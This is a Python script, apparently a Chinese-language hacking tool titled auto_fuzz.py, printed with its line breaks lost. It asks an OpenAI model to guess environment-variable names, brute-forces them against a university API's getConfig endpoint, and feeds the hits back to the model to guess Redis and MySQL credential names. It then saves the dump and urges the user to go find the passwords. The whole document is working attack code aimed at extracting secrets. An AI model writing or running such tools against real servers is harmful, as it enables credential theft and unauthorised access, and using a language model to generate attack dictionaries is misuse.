#!/usr/bin/env python3# -*- coding: utf-8 -*-# auto_fuzz.py —— AI 帮你爆破 CONFIG 接口import json, requests, openai, itertools, timefrom tqdm import tqdmURL = "https://xxx.edu.cn/api/translation/getConfig" # 目标接口AI_KEY = "sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" # 你的 OpenAI keyHEADERS = {"Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; FuzzBot/1.0)"}openai.api_key = AI_KEY# ① 让 AI 生成第一轮字典def ai_dict(prompt="常见的环境变量名，输出 json 数组，50 条"): rsp = openai.ChatCompletion.create( model="gpt-3.5-turbo", messages=[{"role": "user", "content": prompt}] ) return json.loads(rsp.choices[0].message.content)# ② 批量请求接口def fuzz(keys): results = {} for k in tqdm(keys, desc="Fuzzing"): try: resp = requests.post(URL, json={"CONFIG_NAME": k}, headers=HEADERS, timeout=3) if resp.status_code == 200 and resp.json().get("data"): results[k] = resp.json()["data"] except Exception as e: pass time.sleep(0.1) return results# ③ 主流程if __name__ == "__main__": # 第一轮 keys1 = ai_dict("常见的 Web 环境变量名，输出 json 数组，50 条") res1 = fuzz(keys1) print("[+] 第一轮命中：", list(res1.keys())) # 把命中结果喂给 AI，让它生成第二轮字典 prompt2 = f"根据以下返回结构，猜测 Redis/Mysql 相关变量名，输出 json 数组：\n{json.dumps(res1,ensure_ascii=0)}" keys2 = ai_dict(prompt2) res2 = fuzz(keys2) print("[+] 第二轮命中：", list(res2.keys())) # 保存结果 with open("dump.json", "w", encoding="utf-8") as f: json.dump({**res1, **res2}, f, ensure_ascii=False, indent=2) print("[*] 结果已写入 dump.json，去翻密码吧！")
